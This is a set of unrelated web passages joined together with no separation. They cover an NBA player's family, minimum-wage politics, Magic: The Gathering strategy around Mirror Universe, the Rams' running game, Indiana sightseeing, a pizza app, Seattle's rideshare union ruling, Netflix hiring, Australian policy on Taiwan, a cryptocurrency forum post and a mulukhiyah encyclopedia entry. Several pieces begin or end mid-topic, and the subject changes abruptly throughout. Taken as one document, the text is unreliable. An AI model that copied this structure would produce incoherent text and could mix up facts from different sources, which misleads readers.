Now, Green is a standout for the defending NBA champions. Earlier in the day, a co-worker even asked for Harris’ autograph while also asking why he still worked in the automotive manufacturing plant.
“I think everybody thinks it’s like, $82 million, here you go,” Harris said.
But the family hasn’t changed. LaToya Babers and Harris have children to support. Babers-Green has continued to grind through the discomfort in her knee to work and monitor the children on the second floor of the middle school.
“My floor,” Babers-Green said. “They know to get to moving because here I come.”
Babers-Green finished her day into the wee hours cheering and clapping more than she pounded the table. The Warriors won 116-98. In in his first game back from resting his ankle, Green racked up seven points, nine rebounds, five assists and three steals.
“Your body is tingling,” Babers-Green said of watching Green play. “The reason why is because so many people said he would never do it. It’s way more people that said he couldn’t do it than said he could.”
“We just live through him vicariously. Really, this is like watching the world at a distance. This is like an escape from reality from what goes on every day. This guy lived the same life I lived, and now look what he’s doing.”
Progressive advocates say other, broader reforms need to be in the spotlight as well. And the pressure to focus on middle-class incomes and wages will only grow as the 2016 election draws nearer, and candidates work to court the broader electorate.
RELATED: 20 states to raise minimum wage by New Year’s Day
States with minimum wage increases in 2015 Hover over states to see their new wages Source: Economic Policy Institute
“Raising the minimum wage is great, but it’s not going to solve the problem of massive inequality in this country,” said Jennifer Epps-Addison, a Wisconsin labor organizer, speaking at an AFL-CIO event on Wednesday. “We need a living wage for everyone.”
The AFL-CIO has its own plans for moving forward. At Wednesday’s event, the labor union announced a new campaign in four states holding early presidential contests—Iowa, New Hampshire, South Carolina and Nevada—intended to hold 2016 candidates accountable for their position on income inequality and proposals that would help raise ordinary workers’ wages.
“Raising wages is the single standard by which leadership will be judged,” AFL-CIO president Richard Trumka said in a speech at the summit.
Whether or not she runs in 2016, Massachusetts Democratic Sen. Elizabeth Warren is likely to become a liberal standard-bearer on the issue. At the AFL-CIO event, she made it clear that her focus is squarely on raising middle-class incomes, mentioning the minimum wage only in passing.
“For more than 30 years, Washington has far too often advanced policies that hammer America’s middle class even harder,” Warren said. “Look at the choices Washington has made, the choices that have left America’s middle class in a deep hole.”
Warren’s suggested reforms were broad—infrastructure investment, corporate tax hikes and trade policy (an issue that’s pitted her against the White House). But the idea that drew the biggest reaction from the crowd was the one most directly connected to wages: workers’ right to be fully paid for what they earn.
“We believe in enforcing labor laws, so that workers get overtime pay and pensions that are fully funded,” Warren said, to big cheers and applause.
It’s an issue that could appeal to a broader swath of the public. “The minimum wage is about a floor, but it doesn’t raise wages for the vast majority of workers. Insuring basic workers’ rights enables wages to raise throughout the spectrum,” said David Madland, managing director of economic policy for the Center for American Progress.
RELATED: Does increasing minimum wage impact the economy?
It’s also something that the White House is already preparing to act on, as it doesn’t need Congress to do so. Currently, only full-time workers who make up to $455 a week (or $23,660 a year) qualify for overtime pay, under federal labor rules that aren’t indexed to inflation and haven’t been changed since 1975. The White House is planning to move up the threshold, and liberals are pushing the administration to go significantly higher than the $42,000 level that the administration is reportedly eyeing.
Organizers are also pushing state legislatures and officials to fight wage theft by ramping up enforcement of existing labor laws. Some of the same big companies at the heart of the minimum wage fights, like McDonald’s, are also being accused of illegally underpaying workers. Congress and the federal government could both do more to increase enforcement of wage theft as well, advocates say—as well as the misclassification of employees as independent contractors, denying them benefits and other protections.
Such measures don’t get at the larger forces that have depressed U.S. wages for decades: technology, globalization and the decline of collective bargaining. In fact, some organizers believe that the focus on policy is altogether misguided. “We have to stop asking for politicians to pass policy reforms. Because we keep doing it, things haven’t changed. We need to ask them to help build the labor movement,” said Angie Wei, chief of staff of the California Labor Federtion. “Public policy ain’t cutting it.”
RELATED: What’s next for minimum wage movement?
The Original Mirror Universe kill
Back in the days Mirror Universe was a very unique card, and a very powerful one too. It could not only save your life and suddenly put your opponent way down, but if the conditions allowed for it, it could just end the game in your favor. Once you were at X life and had X or more City of Brass in play, you could put yourself at 0 life points during your upkeep, not loose because back then you didn’t loose immediately for having 0 life, exchange your life points and then let your opponent die at the end of the phase the way he was destined to die, in all fairness. The fun part was that to speed the process up, or enable it, you’d often have to lower your own life points, and -just like with the City of Brass trick- you didn’t even need a spell to do that, you could use the mana burn rule to your advantage : end of your turn I take some mana, do not use them, loose life to mana burn, I’m now down to 1, upkeep tap city, exchange life : I win.
Through the Looking Glass
If you had played in the early days of magic you might have found yourself the spectator of a quite confounding scene : an aggro player regularly and deliberately hurting himself via mana burn. See, if you expect to get mirrored, a way to make the exchange not interesting is to always be ready to match your opponent’s life points. If you’re the beatdown, this doesn’t prevent you from winning : you attack first, and then lower yourself close enough to your opponent’s total, which means you’ll kill them when the time comes if you’re still in that position. A crucial part of such battles are typically the City of Brasses. For the Mirror Universe player, the best he could get then would be a draw which depending on the circumstances could be acceptable or a disaster.
The game would sometimes devolve into a strange game of who has the CoBs : the MU’s controller want to be the only one to be able to put himself to 0 during his upkeep, so, unless the opponent has too much life their CoBs must be destroyed to prevent a draw and get a victory. You could then see the players do their utmost best to destroy their opponents’ cities, even whith Chaos Orb when they get beaten down by creatures ! You could see them regrowth or recall their suicide lands while leaving gold proper in their graveyards ! If there were enough Mirror Universes in the metagame, and people both knew how to exploit it and how to play around it, then the newbie stepping into that environment would truly walk through the mirror and find herself in an alternate universe where people hurt themselves on a regular basis and do their best never to accrue much life advantage over their opponent !
Now what ?
That’s all nice and quaint you might say, but what are we to do with that now that (Bazaar of Moxen rules excepted) none of those tricks work anymore ? I’d say possibly not nothing. The principle of lowering your life to win is already at the core of the Mirrorball archetype.
But the principle of lowering your own life as a preemptive way to fight the MU ? Well you’d have to expect the MU, but in all the Old School metagames I know of I have to admit I don’t see much life exchange. Mirror Universe was a key card at the time, unlike today. I imagine it is often deemed too slow, clunky, and not really resolving your troubles, since if you’re getting pummeled by creatures, exchanging life points will only let you take so many extra turns. It can sometimes feel like just delaying the inevitable. Unlike an active Ivory Tower, which may cancel a Serendib Efreet or with the help of a Jayemdae Tome, a Serra Angel, the life gain offered by MU is temporary. It may be spectacular, but it’s a very different beast than life gain “engines”. Yet, I envision a brighter future for the card.
And then they were one
Exploring fixed 93/94 formats (the ones where Mishra’s Factories are manageable, like those with unrestricted Strip Mines, or those with the tapped blockers rule), trying to maintain The Deck’s competitiveness (The Deck struggles against the best aggro decks without its “mini-moats“), I found myself time and again relying on the mirror. The reason is quite simple : when aggro actually pressures control, Jayemdae Tome is revealed as the weak card that it’s always been (which makes the idea of restricting the tome strange in my eyes in more way than one, as you can imagine).
So you lower their number (and in this thought experiment you do that maindeck), yet you want some card advantage cause control can’t function without that. That’s where Sylvan Library comes into the fold, it doesn’t cost any mana to activate and therefore can play a role even when under pressure from aggro as a card filtering engine at least; and since you can’t play too many Tomes to remain competitive and yet need some card advantage engine, Transmute Artifact is the perfect tool to both increase your virtual number of Tomes for the matchups where they’re desirable, to get an additional way to destroy a Library of Alexandria or any card in play via Chaos Orb, and another way to shuffle your library to profit via Sylvan Library while searching for the Mirror Universe that will let you draw extra cards thanks to the interaction with SL ! And what have we got here ? A one-Tome control deck, without any restriction ! 1 Tome + 1 Mirror Universe is what Brian Weissman ran in The Deck, first half of 1996, in an environment where Strip Mines were unrestricted and tapped blockers didn’t deal combat damage. I’m not sure about the Disrupting Scepters, but the guy might have been onto something..
Another reason to use and abuse the mirror in such an environment is for the speed-up it gives. If you can’t count on the Mishras, Fireballs too often won’t cut it fast enough. While not a wincon in itself anymore, it is still a very efficient way, mana-wise to lower your opponen’ts life total. Compared to the damage another Fireball would have dealt, it’s a very good deal, considering you typically haven’t hurt your opponent ’till then, and you actually shouldn’t even have bothered to !
The new play around
It’s all getting quite virtual I know, but well I like to test future metagames so I don’t really mind if things don’t turn out that way. Anyways, just like the mirror works great with Sylvan Library (or Necropotence, or Greed..), Sylvan Library works great versus the mirror, which is how the past experience of seeing through the mirror universe can help. If by happenstance your aggro deck were to play some green (you know, that poor old school colour), it would then make all the more sense to play some of those libraries. Not only is the card possibly the only great old school green card beside the mana dorks and regrowth (I’m not sure Channel is a great in those formats, more on that in a future article), it just is such an excellent way to preemptively neutralize the life exchange for profit. Just like Sylvan Library can turn profit with Millstone or fight it, it can play the same roles regarding Mirror Universe.
So how worth it is it then ? It’s a fluctuating metagame I’m imagining there, where people would increase their SLs in turns, and things at least would be interesting, whatever the end result (which could be : people stop playing Mirror Universe). To make things more complex, in the Eternal Central format as well as in the ChannelFireball one, Mana Burn is a thing. But before we get there if we ever do, I’d rate the card as underrated. Also : while I don’t find (counter-)Burn to be a great deck -in fact, the way I see things, “burn sucks” is almost a theorem, that’s only because there is such a thing as life gain, and that Mirror Universe is one way to do it. Unfortunately Mirror Universe doesn’t play well with Ivory Tower. I don’t have a definitive answer there, I see pros and cons in favoring the one, the second or both. I guess where Hymn to Tourach is legal, it would make sense to give precedence to Mirror Universe maindeck.
Other Synergies
Let’s get that one over with, as I guess you have to put it : I’ve never seen it done, and yet it’s the only famous MU combo..
Well you combo by letting the universe player hurt himself only to see him die when the life exchange fails. Haven’t seen that happen either, but still : Yikes !
When a card that good combines that well with, or against Mirror Universe, you should give it your full attention : in my experience, I didn’t have to think about matching my opponent’s life total, the card just did it for me effortlessly, while being the greatness that it already is. Also : upkeep, target myself with the artillery, loose 5, Mirror Universe.
Going further into Old School 95 territory, Glacial Chasm asks of us to do a bit of math. Here’s the sum of n integers formula (if you don’t remember it, you might want to do that, it’s very useful in mtg) : I will spare you the sigma sign, some people recoil at such symbols as if they were satanic, the sum of the first n integers (1 + 2 + 3 + .. + n) is n(n+1)/2. For instance it gives you directly the amount of damage an unblocked Whirling Dervish after n attack will have cumulatively inflicted, and tells you the clock it represents (if the opponent has 20 life points, it will take the dervish 6 turns to kill them, that is 4 turns less than an Argotian Pixies or White Knight, and just one more than an Erhnam). After 3 attacks, the dervish has inflicted as much as any 2/x creature, excepted it is now a 4/4. After 5 hits it will have been as damaging as a Serendib Efreet, but it’s then a 6/6. Therefore the formula for accrued life loss by way of Glacial Chasm is n(n+1). Since 4*5=20, after 4 turns you’ll have lost exactly 20 life, which may actually happen, for instance if you were on 20 when you played the Chasm, since it prevents all damage. All of which leads you to a perfect combo with Mirror Universe (unless using modern rules). Still even when using modern rules you can always tap your City of Brasses and then exchange life while having the non-payable cumulative upkeep cost trigger on the stack, that is, while being protected from direct damage.
Illusions of Grandeur adds a quite farcical component to the MU equation. Gain 20 life, so that you can survive while hoping to take some damage in order to go under 1 during upkeep with the Mirror in play. It increases your life points by a mile, which is generally not what you want with the mirror, but of course you can let that disappear any upkeep. You’d want to play the Mirror first though, unless you have an awful lot of mana to your name. The combo is probably not very competitive, and possibly only worth it with the BoM rules, but I can’t let it go : it’s just too funny to imagine the guy who will inflate his life points by an awful lot, only to hope to descend under 1 life so as to exchange their life points with their opponent. The trajectory of the control player’s life points in that case just puts a big smile on my face.
That card combines so well with Mirror Universe it’s not even fair. Transmuting an artifact maybe is the safer play, but sometimes you just want to lose life points and use the mirror. That card just offers you both. To note : nothing is forcing you to stop when you’ve found Mirror Universe, if doing another go-round of you deck is what will put you at a more appreciable lower life counts, then go for it !
To die or not to die (at end of phase)
With the modern rule we certainly loose much tricks and craziness with Mirror Universe. While the most crucial part of that rule loss for Mirror Universe is the “die at end of phase” part, it also makes the Mana Burn discussion all that more difficult, at least for me. See, if, unlike with Original Type II, you can’t want to have a replica of the format of the days of yore (because you want to have unrestricted Underworld Dreams, non-banned Time Vault, Basalt Monolith that can untap itself, to give but a few reasons), then Mana Burn is on the table. And on that table, I put creatures first, considering how skewered towards control and anti-creature measures the 94 and 95 card pool is. That’s why also I very much like to have such a powerful and interesting card as the alpha Orcish Artillery costing 1R (as it almost always was legal to do back then). But it’s not an easy case : to miss all those funny mirror games just for the sake of that damn Su-Chi.. I guess then the compromise would be to have no mana burn but the die at end of phase rule. Well, too bad. That combination is exercised nowhere ! Not for long though, once we’re through with the current Old School 95 tournament, I’ll add the rule, that card is too important. (If you’re counting; the old rules that are regularly maintained in the old school formats are the mana burn and the tapped artifacts rule, too bad that by my count the most important ones -and the ones that are almost never used are the tapped blockers and the die at end of phase rules..)
Anyways, even without any of those old rules, the card is still very potent and interesting, ready to “aikido” the hell out of all the aggression you’ve been subjected to, if given a turn. If we can’t rely on Mishra’s Factories in The Deck then it would seem we can’t have much slots to kill in an acceptable time. Mirror Universe is a possible way to solve that puzzle. Even if we don’t have the opportunity to win directly through the exchange, we’re probably planning on winning via fireballs anyways, and MU can be searched by Transmute Artifact, so it usually comes surprisingly fast.
In 2013, St. Louis Rams running back Steven Jackson produced 1,363 yards from scrimmage, which counted for 25.8 percent of the team's total offensive yards (5,264).
The next highest on the list is the rookie Chris Givens, who produced 13.4 percent of the yards (710).
With a quarter of the Rams' offensive production migrating south to Atlanta, the situation is difficult for even the most stubborn optimist to ignore, especially since St. Louis was already ranked a modest 23rd in total offense in 2013 (329.0 yards per game).
And even if the numbers are not enough to dampen the hopes of fans, there's still the fact that Jackson is a St. Louis icon.
His legacy began early on. In fact, it was during his NFL debut season in 2004 when an overwhelmed San Francisco defensive back attempted to "arm tackle" Jackson in the open field.
Jackson survived. The defender's arm did not.
From that point on, Rams football became a dried up wasteland, but Jackson was the oasis.
With eight consecutive years of at least 1,000 yards rushing, Jackson has surpassed great players such as Earl Campbell and Herschel Walker on the all-time rushing list, and he'll certainly be near the top 10 by the end of his career.
Now, St. Louis is left with two second-year backs—Daryl Richardson and Isaiah Pead—who combined for just 529 rushing yards and an average of 6.7 carries per game in 2013.
But regardless of the production and nostalgia associated with Jackson, is there a silver lining?
Does the departure of Jackson help the Rams moving forward?
Addition By Subtraction
According to Pro Football Talk, Jackson signed a three-year deal with Atlanta worth $12 million.
Three years, $12 million for Steven Jackson wp.me/p14QSB-7CIi — ProFootballTalk (@ProFootballTalk) March 15, 2013
Jackson was set to make $7 million in 2013 under his Rams contract, but assuming he never had a shot at getting that money, the Rams would have restructured his contract. And based on his Atlanta deal, he would have likely been paid around $4 million in 2013.
According to ESPN, Jake Long's 2013 salary cap number will be approximately $4.25 million, while Jared Cook will have a similar cap number next season (according to Jim Thomas of the St. Louis Post-Dispatch).
For those capologists in Rams Nation, TE Jared Cook's contract counts $4 million against the salary cap in 2013. — Jim Thomas (@jthom1) March 13, 2013
Since the Rams have just over $1 million in cap space (according to NFL.com) and over $6 million worth of draft picks to sign, it's fair to say that retaining Jackson would have cost the Rams either Long or Cook.
Both Long and Cook are in their mid 20's and have a very realistic shot at being in the top 10 at their positions, while Jackson will be 30 in August and will struggle to be a top-10 back in the NFL.
The team cares about staying young more than clinging to veterans who have seen their best days come and go.
If losing Jackson is the reason the Rams were able to pursue Long, then the Rams made the right move.
Rebuilding the Ground Game
It's nice that losing Jackson allowed the Rams to sign a superior player, but that player doesn't run the football.
So what will the St. Louis ground game look like in 2013?
Pead and Richardson are both under 200 pounds and do not appear to be every-down backs, but Richardson averaged 4.8 yards per carry as a rookie and provides the offense with dangerous speed out of the backfield.
Richardson cannot carry the ball more than 25 times a game, and neither can Pead, but they can certainly handle 10 to 15 carries a game and work together to carry the ground game.
Not to mention, the Rams also have the 240-pound Terrance Ganaway on the roster, who can be utilized in short-yardage and goal-line situations.
If the Rams are skeptical of Ganaway's abilities, they can always turn to the draft and grab Alabama's Eddie Lacy or Michigan State's Le'Veon Bell—both players are similar in style to Jackson.
The Rams have talent to work with on the current roster and there's possibly additional talent on the way.
It's unlikely that the Rams will have a running back with name recognition on their opening day roster, but that doesn't mean the current players will fail to step up and run the football.
The blocking up front is more important than the talent in the backfield, and St. Louis improved its blocking by signing Long.
They don't need a Pro Bowl running back in order to average over four yards a carry. They just need to open up the holes.
In the End
If you are Rams fan worried about the state of the St. Louis run game, it's time to relax.
Jeff Fisher has produced a 1,000-yard rusher in 14 out of his 17 NFL seasons, and hasn't had a feature back finish below 1,000 yards since 2005.
And no, it's not that Eddie George and Chris Johnson did all the work. Fisher had players such as LenDale White, Chris Brown and Travis Henry breaking the 1,000-yard barrier.
He even had a journeyman named Rodney Thomas lead the team with 947 yards as a rookie in 1995—which turned out to be nearly half of Thomas' career yards (1,973) after seven NFL seasons.
Fisher knows what it takes to run the ball, and if he says the Rams can move the chains without Jackson, it would be wise to listen.
St. Louis is beyond grateful for the contributions of Jackson over the years. He'll always be a member of the Rams at heart and will continue to be an icon for the franchise.
But know this—the St. Louis backs will be more than ready to pound the rock in 2013.
Retraction: As mentioned in the fifth paragraph, Steven Jackson injured the arm of a San Francisco 49ers defensive back in 2004. It was not a member of the Arizona Cardinals as originally posted.
While it may not have something as flashy as the Lincoln Memorial or Gateway Arch, the Region has some historical spots worth sightseeing.
Those who wish to lay claim to their true Region heritage can do so only after checking a few boxes off this list.
Night Sky program
The Indiana Dunes National Lakeshore hosts a Night Sky program the third Saturday of each month in the parking area of Kemil Beach in Beverly Shores.
The free program offers an opportunity to gaze at the stars through telescopes, according to the park.
Essentially, the app has you enter in your address and credit card information and then lets you choose between ordering a plain or pepperoni pizza from the closest pizza joint. The app will even calculate the tip you’ll leave for the delivery guy when he knocks on your door and brings you a piping hot box filled with cheesy goodness. You can program multiple addresses into your phone as well so ordering pizza shouldn’t be a drag if you’re away from your house and/or dorm room.
After clearing a second major legal hurdle, a law allowing drivers for ride-hailing companies to unionize can move forward.
The law, first presented by city councilor Mike O’Brien and passed by City Council in December 2015, would apply to drivers for ride services like Uber and Lyft, had been on hold pending legal challenges. But late Thursday, a federal judge in Seattle dismissed a lawsuit blocking the law.
The suit had been filed by a group of Uber drivers, along with National Right to Work Legal Defense Foundation and the Freedom Foundation, both of whom support anti-union, right-to-work measures.
The suit had argued that the law violates the National Labor Relations Act (NRLA) because drivers are independent contractors.
They had also claimed that the Drivers Privacy Protection Act prevented Uber from handing over their list of applicable drivers to the union.
In a statement, city attorney Pete Holmes said he was “pleased” with the ruling: “the court recognized the public importance of maintaining and promoting the safety and reliability of the for-hire transportation industry in the City of Seattle.”
Holmes said the city will “continue to vigorously defend this publicly important law on appeal.”
Uber and National Right to Work Legal Defense Foundation were, understandably, not as pleased.
The Foundation’s vice president called the ruling “disappointing” and a “scheme to force independent drivers into union ranks.” He said they’d be appealing the decision to a higher court.
News (broke last night): Seattle defeats @RightToWork challenge to law that lets Uber and Lyft drivers join labor unions pic.twitter.com/B7ZDtJCjdO — Jon Steingart (@jonsteingart) August 25, 2017
Uber General Manager for the Pacific Northwest Brooke Steger said in a statement that “thousands of drivers will be negatively impacted,” claiming that “the original ordinance passed by the City Council was never about benefiting drivers, but about helping Teamsters and taxi companies.”
Another lawsuit filed by the United States Chamber of Commerce, also alleging the law violates the NRLA, was thrown out earlier this month, and a motion for injunction pending appeal was denied. But the law remained on hold while this other challenge was addressed.
In a statement, Teamsters Local 117 said they’re “pleased” with the ruling.
“For-hire drivers in Seattle should have the same freedom afforded to millions of working people across the country,” read the statement posted on their website. “They should have the right to stand together in their union to improve their pay and working conditions. They should have the opportunity to contribute to improving safety and reliability to benefit the traveling public. This law enables them to accomplish those goals.”
They added that affected companies like Uber should “stop their efforts to disenfranchise their drivers by attempting to undermine the law” and instead use the ruling as “a real opportunity to partner with drivers to improve our economy and lift up our community.”
Now that the law can take effect, it’s up to the drivers whether or not they want to be a part of the union. Companies like Uber will have to provide some driver rosters to the Teamsters, who will have 120 days to get the majority of eligible drivers on board for collective bargaining.
Under the law, drivers are eligible for a vote on collective bargaining if they’ve made at least 52 trips within a given three-month period and have been with their company for 90 days or more.
One of the ads lists this as required language skills:
Advertisement
“Ability to speak/write English. Dutch, the Nordic languages, German and French are a plus.”
Netflix is already available in the Netherlands, the U.K. and Ireland as well as the Nordics. The other ad contains the same requirements with a slightly different wording. Altogether, Netflix is looking to fill eight positions in Amsterdam, according to its jobs site.
Netflix executives have been saying for some time that they’re looking to expand into multiple international markets in 2014. In October, Netflix CEO Reed Hastings said: “When we look forward next year, we definitely will be looking at some larger expansions.” Germany and France both fit that bill, being the 4th and 6th biggest internet market as measured by the number of broadband subscribers, respectively.
In parts I and II of this three part post I made a case for the need to talk about Taiwan, today. Here, in this final instalment I shall continue to outline why (linked to Australia) and from where we (Australia) might begin.
Why aren’t we talking about it? Taiwan, since the 2004 Alexander Downer ‘incident’ has been a politically sensitive topic in Australia and ‘thin ice’ that very few dare venture out on to.
The Australian connection? Australia, concerning Taiwan and more specifically a Taiwan crisis scenario, is an actor that both the US and China have certain expectations of; the US, our greatest security partner, that we would militarily and diplomatically support them and China, our greatest trading partner, that we would not.
Australia’s interests? In a 2005 paper ‘Balancing Act: Taiwan’s Cross-strait challenge’ published by the Lowy Institute, Malcolm Cook and Craig Meer state that Australia’s Taiwan interests rest in maintaining the status quo. I disagree. From a purely Machiavellian perspective and to borrow from Deng Xiaoping: ‘black or white, if cats catch mice that’s all right’. Australia’s national interest in Taiwan simply rests in the issue not being resolved through force in which Australia is called upon to take sides. In correspondence with US China analyst David Shambaugh, he posited that Australia (and the US) will abide by whatever agreement the two sides (Taiwan and China) can come to providing it is: 1, peaceful and 2, has the consent of the Taiwanese people.
But what of the Taiwanese people? According to statistics provided by the Taiwanese Mainland Affairs Council (MAC), 60.5% of people wish to maintain the status quo (28.3% indefinitely and 32.2% with a yet to be determined decision to be made in the future). A further 23.3% of people wish to maintain the status quo now but with a definite decision to be made later (15.8% calling for independence later and 7.5% unification later). So all up, in one guise or another, the majority of Taiwanese people support the status quo.
However, irrespective of whether the goal is maintaining the status quo or something else, and a point reiterated throughout this series of posts, we really need to start talking more about Taiwan, today. From an Australian perspective, here are three suggestions for where we (Australia) can begin:
i) Clarify Australia’s existing Taiwan Policy and state it in response to questions relating to Australia’s Taiwan position.
I remember, as I was writing my thesis at the time, an ABC Late Line interview with Australian Defence Minister Stephen Smith (28/04/2011) who flatly rejected to even discuss Taiwan as an issue, perhaps he didn’t know it but how easy would it have been for him to state Australia’s actual Taiwan policy. In my various attempts at correspondence with the Minister of Defence, Minister of Foreign Affairs and the Secretary for the Department of Foreign affairs and Trade not once was Australia’s Taiwan policy stated to me.
Australia can de-mystify Taiwan and its discussion by simply acknowledging that it has a policy, the one China policy, and stating it: “Australia recognises the Government of the PRC as the sole legal government of China and acknowledges the position of the Chinese Government that Taiwan is a province of the PRC.” An abject failure to do so, maintaining Taiwan as a ‘dirty word’/‘taboo’ topic, adds unnecessary gravitas to the situation that we should and need to be able to talk about. Australia needn’t and indeed shouldn’t publicly speculate what it would or wouldn’t commit to in a hypothetical ‘Taiwan conflict scenario’ but shouldn’t be afraid to admit that it has a policy position and to state it. An easy first step.
ii) Convey what Australia supports and doesn’t support to the essential parties concerned: China, Taiwan, and the US.
Australia has, as an actor that both the US and China have certain expectations of, a right to have its voice heard. Australia must, as Bruce Jacobs said in a statement to a 2006 Senate report committee on the subject, “stand up and clearly state [its] position to all sides without fear or favour, this can be done quietly but it must be done.”
To Taiwan: Australia must make clear that Australia doesn’t support Taiwanese independence, however, supports the continued peaceful development in relations across the Taiwan Straits. To China: Australia must clarify that it doesn’t support a Taiwan resolution sought by the use of military coercion or armed force, however, supports the continued peaceful development in relations across the Taiwan Straits. And to the US: that Australia doesn’t support continued US arms sales to Taiwan, however, supports the US position to maintain the capacity to resist any resort to force or coercion against Taiwan.
Why shouldn’t Australia support continued US weapons sales to Taiwan? For four reasons: Firstly, they really ‘piss’ the Chinese off. US-China relations sour when they occur, and when they happen they only add to the extant security dilemma; the Chinese rattle their sabres and aim a few more missiles at Taiwan, to prevent their own position being undermined, causing the Taiwanese to seek increased security and the US justification to provide it- in the form of more arms transfers (a vicious cycle). Secondly, in the 1982 Communiqué the US said they would eventually phase out arms transfers to Taiwan. Now would be a good time to phase them out and set a deadline to end them in exchange for a Chinese concession which I’ll go on to discuss. Thirdly, it would encourage Taiwan, as global technology leaders, to further develop their own indigenous defence capabilities and systems. And Fourthly, a US pledge of security (combined with that of their regional allies to support them) in the face of unprovoked military force is an adequate deterrence to a solution sought through force.
iii) Use Australian diplomatic influence with both the US and China to clarify the significance of a Taiwan resolution/ settlement to easing Asia-Pacific regional security anxiety and promote such an agreement to both parties.
Again, Australia has, as an actor that both the US and China have certain expectations of, a right to have its voice heard. Australia needn’t mediate negotiations, merely be an advocate of ideas. The risk of conflict over Taiwan can simply be reduced by both China and the US settling on an agreement that unifies and clarifies their objectives, reducing the risk of misunderstanding and miscalculation.
In a joint US-China statement, the US could state that: “The US would not be opposed to Taiwan’s eventual, peaceful, consensual, reunification with China.” This is a policy statement proposed by Hugh White (with the exception that he believes the statement should commence “The US would support…”- in my conversations with a number of US security analysts ‘supporting’ isn’t a term many felt comfortable with, however, ‘not opposing’, it was felt, would be acceptable). White believes that such a statement would be a low cost, low risk means of recognising China’s position, that doesn’t concede anything to China more than it does under the current US Taiwan position, and I agree with him. Who is to say that there might not be, at some moment in the future, through peaceful means, determined by consensus of people on both sides of the straits, a decision for unification- under these circumstances who either would or could prevent it from happening?
However, the US must maintain the capacity to resist any resort to force against Taiwan, and this Australia and other regional allies, as previously stated, should support too (This can not be included in a joint-statement because it would undermine the Chinese position, but must be made clear, quietly, to China). The proposed statement with clarity defines what the US would not oppose, and by inference, what the US would oppose.
China, in return for a US commitment not to support Taiwan’s independence under any circumstance, which is already US policy, coupled with Taiwan’s commitment and assurance to drop any independence aspirations (No independence is already one of President Ma’s three No’s policy), would agree to renounce the force aspect of the anti-secession law, China could state that: “China will renounce the use of military force to pressure reunification of Taiwan with the mainland.”
To reduce the effect of, and end, the extant security dilemma both the US and China should agree a quid pro quo reduction and eventual ceasing of arms sales to Taiwan and missiles deployed against Taiwan respectively. Through removal of the security dilemma China and Taiwan are better positioned to resolve their differences through a more peaceful and mutually determined settlement, the US supported position since the 1972 Shanghai Communiqué.
An initial understanding might be that through removing the Chinese force aspect from the anti-secession law, Taiwan can make the concession of removing the ‘No unification’ statement from President Ma’s current three No’s policy (No independence, No unification, No cause for war), leaving in combination with China’s policy: ‘No force, No independence, No cause for war.’
Through such an agreement both the US and China can maintain face, the status quo can be sustained and Chinese military action against Taiwan would be less likely because China would be less anxious about the US and more relaxed about Taiwan’s trajectory.
“It’s good to talk”. These are ideas; they offer some food for thought. We have another 4 years until another round of Taiwanese/US elections. Taiwan isn’t a ‘dirty word’. At the very least, we simply need to talk more about Taiwan, today.
Ben Moles completed a Masters in International Security Studies at the University of Sydney last year and was recently an International Security Program intern at the Lowy Institute. (bwmoles@gmail.com or bmol4353@uni.sydney.edu.au). Follow on Twitter @bwmoles
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Activity: 1820
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Unobtanium: Rare, Fair, Vetted.
LegendaryActivity: 1820Merit: 1016Unobtanium: Rare, Fair, Vetted.
Community Take Over Of Bitbar February 27, 2014, 04:03:23 PM #316 Now that we're nearly a year into Bitbar, I'm wondering if there is a support for a community takeover of this coin. I have been in touch with a few other BTB holders on Reddit who are discussing this, and who may be willing to put up some bounties to set the coin on a different course. None of us were part of the original launch.
If there's generally support from the community here, I would like to proceed by finding a great developer to review the code, implement KGW into Bitbar, explain the POS/POW algo, and help us update the look of the wallet. I think kgw will help ensure support for our core miners who have stuck with Bitbar through thick and thin, and prevent problems down the road.
Bitbar has great assets in Cryptsy and Bter exchanges, its miners and long term holders. Bitbar remains a very unique coin in the crypto landscape. The early missteps are old news now ad well vetted, and the early parties seem to have largely moved on and cashed out. As far as I can tell, the original Devs have not been active. I saw 1 post in the past 5 months from Bitbardev, so have to assume he's probably moved on to other projects.
We think that Bitbar can and should be better managed and promoted.
What other changes would you like to see to Bitbar?
Mulukhiyah or mulukhiyyah (Arabic: ملوخية‎) is the leaves of Corchorus olitorius commonly known as the Arab's mallow, Nalta jute, or tossa jute.[2][3] It is used as a vegetable. It is popular in Middle East, East African and North African countries. Mulukhiyah is rather bitter, and when boiled, the resulting liquid is a thick, highly mucilaginous broth; it is often described as "slimy", rather like cooked okra.[4][5] Mulukhiyah is generally eaten cooked, not raw, and is most frequently turned into a kind of soup or stew, typically bearing the same name as the vegetable in the local language. Traditionally mulukhiyah is cooked with chicken or at least chicken stock for flavor and is served with white rice, accompanied with lemon or lime.
Origins [ edit ]
While most scholars are of the opinion that mulukhiya's origins lie in Ancient Egypt[6][7], there is evidence that India is the source of the related species Corchorus capsularis[8], which is also used for food as well as fiber.[4][9]
Egyptian cuisine [ edit ]
As used in Egyptian cuisine, molokhiya, ( Egyptian Arabic pronunciation: [moloˈxejjæ]) is prepared by removing the central spine from the leaves, and then chopping the leaves finely with garlic and coriander. The dish generally includes some sort of meat; in Egypt this is usually poultry such as chicken, or rabbit[10][11], but lamb is preferred when available, particularly in Cairo. Cooks in Alexandria often opt to use shrimp in the soup, while Port Said is famous for using fish.[12][13][14][11]
Molokhiya was consumed in ancient Egyptian cuisine, where the name "molokhiya" is thought to have originated from.[11][15]
Many Egyptians consider molokhiya to be the national dish of Egypt along with ful medames and kushari.[11][15]
Preparation
The Egyptian version differs in texture and preparation from the Syrian/Lebanese version. The molokhiya leaves are picked off the stem, with tall stemmed branches, placing the leaves on a large sheet (cloth material) left to completely dry for later use.[15]
Cooking
The leaves are chopped fine, often with a mezzaluna. The leaves are then boiled in broth with large chunks of meat, such as boneless chicken, rabbit, beef or lamb (with bone).[14][11] Coriander and garlic are fried separately in ghee to make the "takleya" and then added to the soup at the end while the takleya is still sizzling to create a characteristic sound where people traditionally respond to with the "shahka" (Arabic: grasp for breath in fear or surprise).[12]
Serving
The soup is served on white rice or with a side of Egyptian flatbread (ʿeish baladi). The dish is often accompanied with an assortment of pickled vegetables known as torshi or mekhalel in Egypt.[14][9][11][15]
Levantine cuisine [ edit ]
